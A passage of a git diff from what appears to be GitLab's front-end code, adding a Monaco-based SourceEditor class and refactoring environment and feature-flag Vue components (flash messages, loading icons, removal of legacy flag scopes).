+ return this.modelManager.addModel(file, head);
+ }
+
+ attachModel(model) {
+ if (isDiffEditorType(this)) {
+ this.setModel({
+ original: model.getOriginalModel(),
+ modified: model.getModel(),
+ });
+
+ return;
+ }
+
+ this.setModel(model.getModel());
+
+ this.updateOptions(
+ editorOptions.reduce((acc, obj) => {
+ Object.keys(obj).forEach((key) => {
+ Object.assign(acc, {
+ [key]: obj[key](model),
+ });
+ });
+ return acc;
+ }, {}),
+ );
+ }
+
+ attachMergeRequestModel(model) {
+ this.setModel({
+ original: model.getBaseModel(),
+ modified: model.getModel(),
+ });
+ }
+
+ updateDimensions() {
+ this.layout();
+ this.updateDiffView();
+ }
+
+ setPos({ lineNumber, column }) {
+ this.revealPositionInCenter({
+ lineNumber,
+ column,
+ });
+ this.setPosition({
+ lineNumber,
+ column,
+ });
+ }
+
+ onPositionChange(cb) {
+ if (!this.onDidChangeCursorPosition) {
+ return;
+ }
+
+ this.disposable.add(this.onDidChangeCursorPosition((e) => cb(this, e)));
+ }
+
+ updateDiffView() {
+ if (!isDiffEditorType(this)) {
+ return;
+ }
+
+ this.updateOptions({
+ renderSideBySide: EditorWebIdeExtension.renderSideBySide(this.getDomNode()),
+ });
+ }
+
+ replaceSelectedText(text) {
+ let selection = this.getSelection();
+ const range = new Range(
+ selection.startLineNumber,
+ selection.startColumn,
+ selection.endLineNumber,
+ selection.endColumn,
+ );
+
+ this.executeEdits('', [{ range, text }]);
+
+ selection = this.getSelection();
+ this.setPosition({ lineNumber: selection.endLineNumber, column: selection.endColumn });
+ }
+
+ static renderSideBySide(domElement) {
+ return domElement.offsetWidth >= 700;
+ }
+}
diff --git a/app/assets/javascripts/editor/source_editor.js b/app/assets/javascripts/editor/source_editor.js
new file mode 100644
index 00000000000..ee97714824e
--- /dev/null
+++ b/app/assets/javascripts/editor/source_editor.js
@@ -0,0 +1,263 @@
+import { editor as monacoEditor, languages as monacoLanguages, Uri } from 'monaco-editor';
+import { defaultEditorOptions } from '~/ide/lib/editor_options';
+import languages from '~/ide/lib/languages';
+import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
+import { registerLanguages } from '~/ide/utils';
+import { joinPaths } from '~/lib/utils/url_utility';
+import { uuids } from '~/lib/utils/uuids';
+import {
+ SOURCE_EDITOR_INSTANCE_ERROR_NO_EL,
+ URI_PREFIX,
+ EDITOR_READY_EVENT,
+ EDITOR_TYPE_DIFF,
+} from './constants';
+import { clearDomElement } from './utils';
+
+export default class SourceEditor {
+ constructor(options = {}) {
+ this.instances = [];
+ this.options = {
+ extraEditorClassName: 'gl-source-editor',
+ ...defaultEditorOptions,
+ ...options,
+ };
+
+ SourceEditor.setupMonacoTheme();
+
+ registerLanguages(...languages);
+ }
+
+ static setupMonacoTheme() {
+ const themeName = window.gon?.user_color_scheme || DEFAULT_THEME;
+ const theme = themes.find((t) => t.name === themeName);
+ if (theme) monacoEditor.defineTheme(themeName, theme.data);
+ monacoEditor.setTheme(theme ? themeName : DEFAULT_THEME);
+ }
+
+ static getModelLanguage(path) {
+ const ext = `.${path.split('.').pop()}`;
+ const language = monacoLanguages
+ .getLanguages()
+ .find((lang) => lang.extensions.indexOf(ext) !== -1);
+ return language ? language.id : 'plaintext';
+ }
+
+ static pushToImportsArray(arr, toImport) {
+ arr.push(import(toImport));
+ }
+
+ static loadExtensions(extensions) {
+ if (!extensions) {
+ return Promise.resolve();
+ }
+ const promises = [];
+ const extensionsArray = typeof extensions === 'string' ? extensions.split(',') : extensions;
+
+ extensionsArray.forEach((ext) => {
+ const prefix = ext.includes('/') ? '' : 'editor/';
+ const trimmedExt = ext.replace(/^\//, '').trim();
+ SourceEditor.pushToImportsArray(promises, `~/${prefix}${trimmedExt}`);
+ });
+
+ return Promise.all(promises);
+ }
+
+ static mixIntoInstance(source, inst) {
+ if (!inst) {
+ return;
+ }
+ const isClassInstance = source.constructor.prototype !== Object.prototype;
+ const sanitizedSource = isClassInstance ? source.constructor.prototype : source;
+ Object.getOwnPropertyNames(sanitizedSource).forEach((prop) => {
+ if (prop !== 'constructor') {
+ Object.assign(inst, { [prop]: source[prop] });
+ }
+ });
+ }
+
+ static prepareInstance(el) {
+ if (!el) {
+ throw new Error(SOURCE_EDITOR_INSTANCE_ERROR_NO_EL);
+ }
+
+ clearDomElement(el);
+
+ monacoEditor.onDidCreateEditor(() => {
+ delete el.dataset.editorLoading;
+ });
+ }
+
+ static manageDefaultExtensions(instance, el, extensions) {
+ SourceEditor.loadExtensions(extensions, instance)
+ .then((modules) => {
+ if (modules) {
+ modules.forEach((module) => {
+ instance.use(module.default);
+ });
+ }
+ })
+ .then(() => {
+ el.dispatchEvent(new Event(EDITOR_READY_EVENT));
+ })
+ .catch((e) => {
+ throw e;
+ });
+ }
+
+ static createEditorModel({
+ blobPath,
+ blobContent,
+ blobOriginalContent,
+ blobGlobalId,
+ instance,
+ isDiff,
+ } = {}) {
+ if (!instance) {
+ return null;
+ }
+ const uriFilePath = joinPaths(URI_PREFIX, blobGlobalId, blobPath);
+ const uri = Uri.file(uriFilePath);
+ const existingModel = monacoEditor.getModel(uri);
+ const model = existingModel || monacoEditor.createModel(blobContent, undefined, uri);
+ if (!isDiff) {
+ instance.setModel(model);
+ return model;
+ }
+ const diffModel = {
+ original: monacoEditor.createModel(
+ blobOriginalContent,
+ SourceEditor.getModelLanguage(model.uri.path),
+ ),
+ modified: model,
+ };
+ instance.setModel(diffModel);
+ return diffModel;
+ }
+
+ static convertMonacoToELInstance = (inst) => {
+ const sourceEditorInstanceAPI = {
+ updateModelLanguage: (path) => {
+ return SourceEditor.instanceUpdateLanguage(inst, path);
+ },
+ use: (exts = []) => {
+ return SourceEditor.instanceApplyExtension(inst, exts);
+ },
+ };
+ const handler = {
+ get(target, prop, receiver) {
+ if (Reflect.has(sourceEditorInstanceAPI, prop)) {
+ return sourceEditorInstanceAPI[prop];
+ }
+ return Reflect.get(target, prop, receiver);
+ },
+ };
+ return new Proxy(inst, handler);
+ };
+
+ static instanceUpdateLanguage(inst, path) {
+ const lang = SourceEditor.getModelLanguage(path);
+ const model = inst.getModel();
+ return monacoEditor.setModelLanguage(model, lang);
+ }
+
+ static instanceApplyExtension(inst, exts = []) {
+ const extensions = [].concat(exts);
+ extensions.forEach((extension) => {
+ SourceEditor.mixIntoInstance(extension, inst);
+ });
+ return inst;
+ }
+
+ static instanceRemoveFromRegistry(editor, instance) {
+ const index = editor.instances.findIndex((inst) => inst === instance);
+ editor.instances.splice(index, 1);
+ }
+
+ static instanceDisposeModels(editor, instance, model) {
+ const instanceModel = instance.getModel() || model;
+ if (!instanceModel) {
+ return;
+ }
+ if (instance.getEditorType() === EDITOR_TYPE_DIFF) {
+ const { original, modified } = instanceModel;
+ if (original) {
+ original.dispose();
+ }
+ if (modified) {
+ modified.dispose();
+ }
+ } else {
+ instanceModel.dispose();
+ }
+ }
+
+ /**
+ * Creates a monaco instance with the given options.
+ *
+ * @param {Object} options Options used to initialize monaco.
+ * @param {Element} options.el The element which will be used to create the monacoEditor.
+ * @param {string} options.blobPath The path used as the URI of the model. Monaco uses the extension of this path to determine the language.
+ * @param {string} options.blobContent The content to initialize the monacoEditor.
+ * @param {string} options.blobGlobalId This is used to help globally identify monaco instances that are created with the same blobPath.
+ */
+ createInstance({
+ el = undefined,
+ blobPath = '',
+ blobContent = '',
+ blobOriginalContent = '',
+ blobGlobalId = uuids()[0],
+ extensions = [],
+ isDiff = false,
+ ...instanceOptions
+ } = {}) {
+ SourceEditor.prepareInstance(el);
+
+ const createEditorFn = isDiff ? 'createDiffEditor' : 'create';
+ const instance = SourceEditor.convertMonacoToELInstance(
+ monacoEditor[createEditorFn].call(this, el, {
+ ...this.options,
+ ...instanceOptions,
+ }),
+ );
+
+ let model;
+ if (instanceOptions.model !== null) {
+ model = SourceEditor.createEditorModel({
+ blobGlobalId,
+ blobOriginalContent,
+ blobPath,
+ blobContent,
+ instance,
+ isDiff,
+ });
+ }
+
+ instance.onDidDispose(() => {
+ SourceEditor.instanceRemoveFromRegistry(this, instance);
+ SourceEditor.instanceDisposeModels(this, instance, model);
+ });
+
+ SourceEditor.manageDefaultExtensions(instance, el, extensions);
+
+ this.instances.push(instance);
+ return instance;
+ }
+
+ createDiffInstance(args) {
+ return this.createInstance({
+ ...args,
+ isDiff: true,
+ });
+ }
+
+ dispose() {
+ this.instances.forEach((instance) => instance.dispose());
+ }
+
+ use(exts) {
+ this.instances.forEach((inst) => {
+ inst.use(exts);
+ });
+ return this;
+ }
+}
diff --git a/app/assets/javascripts/emoji/components/emoji_group.vue b/app/assets/javascripts/emoji/components/emoji_group.vue
index 539cd6963b1..4f4c32af113 100644
--- a/app/assets/javascripts/emoji/components/emoji_group.vue
+++ b/app/assets/javascripts/emoji/components/emoji_group.vue
@@ -17,6 +17,7 @@ export default {
};
</script>
+<!-- eslint-disable-next-line vue/no-deprecated-functional-template -->
<template functional>
<div class="gl-display-flex gl-flex-wrap gl-mb-2">
<template v-if="props.renderGroup">
diff --git a/app/assets/javascripts/environments/components/deploy_board.vue b/app/assets/javascripts/environments/components/deploy_board.vue
index 217cea051b7..c642a07fd1e 100644
--- a/app/assets/javascripts/environments/components/deploy_board.vue
+++ b/app/assets/javascripts/environments/components/deploy_board.vue
@@ -111,7 +111,7 @@ export default {
</script>
<template>
<div class="js-deploy-board deploy-board">
- <gl-loading-icon v-if="isLoading" class="loading-icon" />
+ <gl-loading-icon v-if="isLoading" size="sm" class="loading-icon" />
<template v-else>
<div v-if="canRenderDeployBoard" class="deploy-board-information gl-p-5">
<div class="deploy-board-information gl-w-full">
diff --git a/app/assets/javascripts/environments/components/environment_actions.vue b/app/assets/javascripts/environments/components/environment_actions.vue
index 542b8c9219d..2d98f00433a 100644
--- a/app/assets/javascripts/environments/components/environment_actions.vue
+++ b/app/assets/javascripts/environments/components/environment_actions.vue
@@ -80,7 +80,7 @@ export default {
<template #button-content>
<gl-icon name="play" />
<gl-icon name="chevron-down" />
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
</template>
<gl-dropdown-item
v-for="(action, i) in actions"
diff --git a/app/assets/javascripts/environments/components/environment_item.vue b/app/assets/javascripts/environments/components/environment_item.vue
index 4db0dff16aa..5ae8b000fc0 100644
--- a/app/assets/javascripts/environments/components/environment_item.vue
+++ b/app/assets/javascripts/environments/components/environment_item.vue
@@ -552,6 +552,9 @@ export default {
{ 'gl-display-none gl-md-display-block': !this.upcomingDeployment },
];
},
+ tableNameSpacingClass() {
+ return this.isFolder ? 'section-100' : this.tableData.name.spacing;
+ },
},
methods: {
@@ -588,8 +591,9 @@ export default {
>
<div
class="table-section section-wrap text-truncate"
- :class="tableData.name.spacing"
+ :class="tableNameSpacingClass"
role="gridcell"
+ data-testid="environment-name-cell"
>
<div v-if="!isFolder" class="table-mobile-header" role="rowheader">
{{ getMobileViewTitleForField('name') }}
@@ -632,9 +636,11 @@ export default {
</div>
<div
+ v-if="!isFolder"
class="table-section deployment-column d-none d-md-block"
:class="tableData.deploy.spacing"
role="gridcell"
+ data-testid="enviornment-deployment-id-cell"
>
<span v-if="shouldRenderDeploymentID" class="text-break-word">
{{ deploymentInternalId }}
@@ -656,7 +662,13 @@ export default {
</div>
</div>
- <div class="table-section d-none d-md-block" :class="tableData.build.spacing" role="gridcell">
+ <div
+ v-if="!isFolder"
+ class="table-section d-none d-md-block"
+ :class="tableData.build.spacing"
+ role="gridcell"
+ data-testid="environment-build-cell"
+ >
<a v-if="shouldRenderBuildName" :href="buildPath" class="build-link cgray">
<tooltip-on-truncate
:title="buildName"
diff --git a/app/assets/javascripts/environments/components/environments_app.vue b/app/assets/javascripts/environments/components/environments_app.vue
index 8bd71db957c..e4cf5760987 100644
--- a/app/assets/javascripts/environments/components/environments_app.vue
+++ b/app/assets/javascripts/environments/components/environments_app.vue
@@ -1,6 +1,6 @@
<script>
import { GlBadge, GlButton, GlModalDirective, GlTab, GlTabs } from '@gitlab/ui';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
import environmentsMixin from '../mixins/environments_mixin';
@@ -89,7 +89,9 @@ export default {
.then((response) => this.store.setfolderContent(folder, response.data.environments))
.then(() => this.store.updateEnvironmentProp(folder, 'isLoadingFolderContent', false))
.catch(() => {
- Flash(s__('Environments|An error occurred while fetching the environments.'));
+ createFlash({
+ message: s__('Environments|An error occurred while fetching the environments.'),
+ });
this.store.updateEnvironmentProp(folder, 'isLoadingFolderContent', false);
});
},
@@ -133,7 +135,7 @@ export default {
>{{ $options.i18n.newEnvironmentButtonLabel }}</gl-button
>
</div>
- <gl-tabs content-class="gl-display-none">
+ <gl-tabs :value="activeTab" content-class="gl-display-none">
<gl-tab
v-for="(tab, idx) in tabs"
:key="idx"
diff --git a/app/assets/javascripts/environments/components/environments_table.vue b/app/assets/javascripts/environments/components/environments_table.vue
index f82d3065ca5..61438872afc 100644
--- a/app/assets/javascripts/environments/components/environments_table.vue
+++ b/app/assets/javascripts/environments/components/environments_table.vue
@@ -152,8 +152,7 @@ export default {
</div>
</div>
<template v-for="(model, i) in sortedEnvironments" :model="model">
- <div
- is="environment-item"
+ <environment-item
:key="`environment-item-${i}`"
:model="model"
:can-read-environment="canReadEnvironment"
@@ -189,8 +188,7 @@ export default {
<template v-else>
<template v-for="(child, index) in model.children">
- <div
- is="environment-item"
+ <environment-item
:key="`environment-row-${i}-${index}`"
:model="child"
:can-read-environment="canReadEnvironment"
diff --git a/app/assets/javascripts/environments/mixins/environments_mixin.js b/app/assets/javascripts/environments/mixins/environments_mixin.js
index d5caff1660a..6f701f87261 100644
--- a/app/assets/javascripts/environments/mixins/environments_mixin.js
+++ b/app/assets/javascripts/environments/mixins/environments_mixin.js
@@ -3,9 +3,9 @@
*/
import { isEqual, isFunction, omitBy } from 'lodash';
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as Flash } from '../../flash';
-import { getParameterByName } from '../../lib/utils/common_utils';
+import createFlash from '~/flash';
import Poll from '../../lib/utils/poll';
+import { getParameterByName } from '../../lib/utils/url_utility';
import { s__ } from '../../locale';
import tabs from '../../vue_shared/components/navigation_tabs.vue';
import tablePagination from '../../vue_shared/components/pagination/table_pagination.vue';
@@ -94,7 +94,9 @@ export default {
errorCallback() {
this.isLoading = false;
- Flash(s__('Environments|An error occurred while fetching the environments.'));
+ createFlash({
+ message: s__('Environments|An error occurred while fetching the environments.'),
+ });
},
postAction({
@@ -109,7 +111,9 @@ export default {
.then(() => this.fetchEnvironments())
.catch((err) => {
this.isLoading = false;
- Flash(isFunction(errorMessage) ? errorMessage(err.response.data) : errorMessage);
+ createFlash({
+ message: isFunction(errorMessage) ? errorMessage(err.response.data) : errorMessage,
+ });
});
}
},
@@ -163,7 +167,9 @@ export default {
window.location.href = url.join('/');
})
.catch(() => {
- Flash(errorMessage);
+ createFlash({
+ message: errorMessage,
+ });
});
},
@@ -202,6 +208,9 @@ export default {
},
];
},
+ activeTab() {
+ return this.tabs.findIndex(({ isActive }) => isActive) ?? 0;
+ },
},
/**
diff --git a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
index dd320676e98..68b4438831e 100644
--- a/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
+++ b/app/assets/javascripts/error_tracking/components/stacktrace_entry.vue
@@ -82,7 +82,7 @@ export default {
<div v-if="hasCode" class="d-inline-block cursor-pointer" @click="toggle()">
<gl-icon :name="collapseIcon" :size="16" class="gl-mr-2" />
</div>
- <file-icon :file-name="filePath" :size="18" aria-hidden="true" css-classes="gl-mr-2" />
+ <file-icon :file-name="filePath" :size="16" aria-hidden="true" css-classes="gl-mr-2" />
<strong
v-gl-tooltip
:title="filePath"
diff --git a/app/assets/javascripts/error_tracking_settings/store/actions.js b/app/assets/javascripts/error_tracking_settings/store/actions.js
index c945a9e2316..d402d0336d9 100644
--- a/app/assets/javascripts/error_tracking_settings/store/actions.js
+++ b/app/assets/javascripts/error_tracking_settings/store/actions.js
@@ -48,7 +48,6 @@ export const receiveSettingsError = ({ commit }, { response = {} }) => {
createFlash({
message: `${__('There was an error saving your changes.')} ${message}`,
- type: 'alert',
});
commit(types.UPDATE_SETTINGS_LOADING, false);
};
diff --git a/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue b/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
index 77e40039b43..d86e13ce722 100644
--- a/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
+++ b/app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue
@@ -196,6 +196,7 @@ export default {
/>
<gl-loading-icon
v-if="isRotating"
+ size="sm"
class="gl-absolute gl-align-self-center gl-right-5 gl-mr-7"
/>
diff --git a/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue b/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
index e7f4b51c964..dde021b67be 100644
--- a/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
+++ b/app/assets/javascripts/feature_flags/components/edit_feature_flag.vue
@@ -1,10 +1,8 @@
<script>
import { GlAlert, GlLoadingIcon, GlToggle } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import axios from '~/lib/utils/axios_utils';
import { sprintf, s__ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { LEGACY_FLAG } from '../constants';
import FeatureFlagForm from './form.vue';
export default {
@@ -15,59 +13,29 @@ export default {
FeatureFlagForm,
},
mixins: [glFeatureFlagMixin()],
- inject: {
- showUserCallout: {},
- userCalloutId: {
- default: '',
- },
- userCalloutsPath: {
- default: '',
- },
- },
- data() {
- return {
- userShouldSeeNewFlagAlert: this.showUserCallout,
- };
- },
- translations: {
- legacyReadOnlyFlagAlert: s__(
- 'FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag.',
- ),
- },
computed: {
...mapState([
'path',
'error',
'name',
'description',
- 'scopes',
'strategies',
'isLoading',
'hasError',
'iid',
'active',
- 'version',
]),
title() {
return this.iid
? `^${this.iid} ${this.name}`
: sprintf(s__('Edit %{name}'), { name: this.name });
},
- deprecated() {
- return this.version === LEGACY_FLAG;
- },
},
created() {
return this.fetchFeatureFlag();
},
methods: {
...mapActions(['updateFeatureFlag', 'fetchFeatureFlag', 'toggleActive']),
- dismissNewVersionFlagAlert() {
- this.userShouldSeeNewFlagAlert = false;
- axios.post(this.userCalloutsPath, {
- feature_name: this.userCalloutId,
- });
- },
},
};
</script>
@@ -76,9 +44,6 @@ export default {
<gl-loading-icon v-if="isLoading" size="xl" class="gl-mt-7" />
<template v-else-if="!isLoading && !hasError">
- <gl-alert v-if="deprecated" variant="warning" :dismissible="false" class="gl-my-5">{{
- $options.translations.legacyReadOnlyFlagAlert
- }}</gl-alert>
<div class="gl-display-flex gl-align-items-center gl-mb-4 gl-mt-4">
<gl-toggle
:value="active"
@@ -100,12 +65,10 @@ export default {
<feature-flag-form
:name="name"
:description="description"
- :scopes="scopes"
:strategies="strategies"
:cancel-path="path"
:submit-text="__('Save changes')"
:active="active"
- :version="version"
@handleSubmit="(data) => updateFeatureFlag(data)"
/>
</template>
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags.vue b/app/assets/javascripts/feature_flags/components/feature_flags.vue
index d08e8d2b3a1..53909dcf42e 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags.vue
@@ -3,11 +3,8 @@ import { GlAlert, GlBadge, GlButton, GlModalDirective, GlSprintf } from '@gitlab
import { isEmpty } from 'lodash';
import { mapState, mapActions } from 'vuex';
-import {
- buildUrlWithCurrentLocation,
- getParameterByName,
- historyPushState,
-} from '~/lib/utils/common_utils';
+import { buildUrlWithCurrentLocation, historyPushState } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
import ConfigureFeatureFlagsModal from './configure_feature_flags_modal.vue';
import EmptyState from './empty_state.vue';
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
index 9220077af71..cfd838bf5a1 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags_table.vue
@@ -1,8 +1,7 @@
<script>
-import { GlBadge, GlButton, GlTooltipDirective, GlModal, GlToggle, GlIcon } from '@gitlab/ui';
+import { GlBadge, GlButton, GlTooltipDirective, GlModal, GlToggle } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { ROLLOUT_STRATEGY_PERCENT_ROLLOUT, NEW_VERSION_FLAG, LEGACY_FLAG } from '../constants';
import { labelForStrategy } from '../utils';
export default {
@@ -14,7 +13,6 @@ export default {
components: {
GlBadge,
GlButton,
- GlIcon,
GlModal,
GlToggle,
},
@@ -35,13 +33,7 @@ export default {
deleteFeatureFlagName: null,
};
},
- translations: {
- legacyFlagReadOnlyAlert: s__('FeatureFlags|Flag is read-only'),
- },
computed: {
- permissions() {
- return this.glFeatures.featureFlagPermissions;
- },
modalTitle() {
return sprintf(s__('FeatureFlags|Delete %{name}?'), {
name: this.deleteFeatureFlagName,
@@ -57,12 +49,6 @@ export default {
},
},
methods: {
- isLegacyFlag(flag) {
- return flag.version !== NEW_VERSION_FLAG;
- },
- statusToggleDisabled(flag) {
- return flag.version === LEGACY_FLAG;
- },
scopeTooltipText(scope) {
return !scope.active
? sprintf(s__('FeatureFlags|Inactive flag for %{scope}'), {
@@ -70,22 +56,6 @@ export default {
})
: '';
},
- badgeText(scope) {
- const displayName =
- scope.environmentScope === '*'
- ? s__('FeatureFlags|* (All environments)')
- : scope.environmentScope;
-
- const displayPercentage =
- scope.rolloutStrategy === ROLLOUT_STRATEGY_PERCENT_ROLLOUT
- ? `: ${scope.rolloutPercentage}%`
- : '';
-
- return `${displayName}${displayPercentage}`;
- },
- badgeVariant(scope) {
- return scope.active ? 'info' : 'muted';
- },
strategyBadgeText(strategy) {
return labelForStrategy(strategy);
},
@@ -142,7 +112,6 @@ export default {
<gl-toggle
v-if="featureFlag.update_path"
:value="featureFlag.active"
- :disabled="statusToggleDisabled(featureFlag)"
:label="$options.i18n.toggleLabel"
label-position="hidden"
data-testid="feature-flag-status-toggle"
@@ -169,12 +138,6 @@ export default {
<div class="feature-flag-name text-monospace text-truncate">
{{ featureFlag.name }}
</div>
- <gl-icon
- v-if="isLegacyFlag(featureFlag)"
- v-gl-tooltip.hover="$options.translations.legacyFlagReadOnlyAlert"
- class="gl-ml-3"
- name="information-o"
- />
</div>
<div class="feature-flag-description text-secondary text-truncate">
{{ featureFlag.description }}
@@ -189,27 +152,14 @@ export default {
<div
class="table-mobile-content d-flex flex-wrap justify-content-end justify-content-md-start js-feature-flag-environments"
>
- <template v-if="isLegacyFlag(featureFlag)">
- <gl-badge
- v-for="scope in featureFlag.scopes"
- :key="scope.id"
- v-gl-tooltip.hover="scopeTooltipText(scope)"
- :variant="badgeVariant(scope)"
- :data-qa-selector="`feature-flag-scope-${badgeVariant(scope)}-badge`"
- class="gl-mr-3 gl-mt-2"
- >{{ badgeText(scope) }}</gl-badge
- >
- </template>
- <template v-else>
- <gl-badge
- v-for="strategy in featureFlag.strategies"
- :key="strategy.id"
- data-testid="strategy-badge"
- variant="info"
- class="gl-mr-3 gl-mt-2 gl-white-space-normal gl-text-left gl-px-5"
- >{{ strategyBadgeText(strategy) }}</gl-badge
- >
- </template>
+ <gl-badge
+ v-for="strategy in featureFlag.strategies"
+ :key="strategy.id"
+ data-testid="strategy-badge"
+ variant="info"
+ class="gl-mr-3 gl-mt-2 gl-white-space-normal gl-text-left gl-px-5"
+ >{{ strategyBadgeText(strategy) }}</gl-badge
+ >
</div>
</div>
diff --git a/app/assets/javascripts/feature_flags/components/form.vue b/app/assets/javascripts/feature_flags/components/form.vue
index 67ddceaf080..f7ad2c1f106 100644
--- a/app/assets/javascripts/feature_flags/components/form.vue
+++ b/app/assets/javascripts/feature_flags/components/form.vue
@@ -1,16 +1,6 @@
<script>
-import {
- GlButton,
- GlBadge,
- GlTooltip,
- GlTooltipDirective,
- GlFormTextarea,
- GlFormCheckbox,
- GlSprintf,
- GlIcon,
- GlToggle,
-} from '@gitlab/ui';
-import { memoize, isString, cloneDeep, isNumber, uniqueId } from 'lodash';
+import { GlButton } from '@gitlab/ui';
+import { memoize, cloneDeep, isNumber, uniqueId } from 'lodash';
import Vue from 'vue';
import { s__ } from '~/locale';
import RelatedIssuesRoot from '~/related_issues/components/related_issues_root.vue';
@@ -20,12 +10,8 @@ import {
ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
ROLLOUT_STRATEGY_USER_ID,
ALL_ENVIRONMENTS_NAME,
- INTERNAL_ID_PREFIX,
NEW_VERSION_FLAG,
- LEGACY_FLAG,
} from '../constants';
-import { createNewEnvironmentScope } from '../store/helpers';
-import EnvironmentsDropdown from './environments_dropdown.vue';
import Strategy from './strategy.vue';
export default {
@@ -35,20 +21,9 @@ export default {
},
components: {
GlButton,
- GlBadge,
- GlFormTextarea,
- GlFormCheckbox,
- GlTooltip,
- GlSprintf,
- GlIcon,
- GlToggle,
- EnvironmentsDropdown,
Strategy,
RelatedIssuesRoot,
},
- directives: {
- GlTooltip: GlTooltipDirective,
- },
mixins: [featureFlagsMixin()],
inject: {
featureFlagIssuesEndpoint: {
@@ -71,11 +46,6 @@ export default {
required: false,
default: '',
},
- scopes: {
- type: Array,
- required: false,
- default: () => [],
- },
cancelPath: {
type: String,
required: true,
@@ -89,11 +59,6 @@ export default {
required: false,
default: () => [],
},
- version: {
- type: String,
- required: false,
- default: LEGACY_FLAG,
- },
},
translations: {
allEnvironmentsText: s__('FeatureFlags|* (All Environments)'),
@@ -120,35 +85,18 @@ export default {
formName: this.name,
formDescription: this.description,
- // operate on a clone to avoid mutating props
- formScopes: this.scopes.map((s) => ({ ...s })),
formStrategies: cloneDeep(this.strategies),
newScope: '',
};
},
computed: {
- filteredScopes() {
- return this.formScopes.filter((scope) => !scope.shouldBeDestroyed);
- },
filteredStrategies() {
return this.formStrategies.filter((s) => !s.shouldBeDestroyed);
},
- canUpdateFlag() {
- return !this.permissionsFlag || (this.formScopes || []).every((scope) => scope.canUpdate);
- },
- permissionsFlag() {
- return this.glFeatures.featureFlagPermissions;
- },
- supportsStrategies() {
- return this.version === NEW_VERSION_FLAG;
- },
showRelatedIssues() {
return this.featureFlagIssuesEndpoint.length > 0;
},
- readOnly() {
- return this.version === LEGACY_FLAG;
- },
},
methods: {
keyFor(strategy) {
@@ -174,37 +122,6 @@ export default {
isAllEnvironment(name) {
return name === ALL_ENVIRONMENTS_NAME;
},
-
- /**
- * When the user clicks the remove button we delete the scope
- *
- * If the scope has an ID, we need to add the `shouldBeDestroyed` flag.
- * If the scope does *not* have an ID, we can just remove it.
- *
- * This flag will be used when submitting the data to the backend
- * to determine which records to delete (via a "_destroy" property).
- *
- * @param {Object} scope
- */
- removeScope(scope) {
- if (isString(scope.id) && scope.id.startsWith(INTERNAL_ID_PREFIX)) {
- this.formScopes = this.formScopes.filter((s) => s !== scope);
- } else {
- Vue.set(scope, 'shouldBeDestroyed', true);
- }
- },
-
- /**
- * Creates a new scope and adds it to the list of scopes
- *
- * @param overrides An object whose properties will
- * be used override the default scope options
- */
- createNewScope(overrides) {
- this.formScopes.push(createNewEnvironmentScope(overrides, this.permissionsFlag));
- this.newScope = '';
- },
-
/**
* When the user clicks the submit button
* it triggers an event with the form data
@@ -214,61 +131,16 @@ export default {
name: this.formName,
description: this.formDescription,
active: this.active,
- version: this.version,
+ version: NEW_VERSION_FLAG,
+ strategies: this.formStrategies,
};
- if (this.version === LEGACY_FLAG) {
- flag.scopes = this.formScopes;
- } else {
- flag.strategies = this.formStrategies;
- }
-
this.$emit('handleSubmit', flag);
},
- canUpdateScope(scope) {
- return !this.permissionsFlag || scope.canUpdate;
- },
-
isRolloutPercentageInvalid: memoize(function isRolloutPercentageInvalid(percentage) {
return !this.$options.rolloutPercentageRegex.test(percentage);
}),
-
- /**
- * Generates a unique ID for the strategy based on the v-for index
- *
- * @param index The index of the strategy
- */
- rolloutStrategyId(index) {
- return `rollout-strategy-${index}`;
- },
-
- /**
- * Generates a unique ID for the percentage based on the v-for index
- *
- * @param index The index of the percentage
- */
- rolloutPercentageId(index) {
- return `rollout-percentage-${index}`;
- },
- rolloutUserId(index) {
- return `rollout-user-id-${index}`;
- },
-
- shouldDisplayIncludeUserIds(scope) {
- return ![ROLLOUT_STRATEGY_ALL_USERS, ROLLOUT_STRATEGY_USER_ID].includes(
- scope.rolloutStrategy,
- );
- },
- shouldDisplayUserIds(scope) {
- return scope.rolloutStrategy === ROLLOUT_STRATEGY_USER_ID || scope.shouldIncludeUserIds;
- },
- onStrategyChange(index) {
- const scope = this.filteredScopes[index];
- scope.shouldIncludeUserIds =
- scope.rolloutUserIds.length > 0 &&
- scope.rolloutStrategy === ROLLOUT_STRATEGY_PERCENT_ROLLOUT;
- },
onFormStrategyChange(strategy, index) {
Object.assign(this.filteredStrategies[index], strategy);
},
@@ -281,12 +153,7 @@ export default {
<div class="row">
<div class="form-group col-md-4">
<label for="feature-flag-name" class="label-bold">{{ s__('FeatureFlags|Name') }} *</label>
- <input
- id="feature-flag-name"
- v-model="formName"
- :disabled="!canUpdateFlag"
- class="form-control"
- />
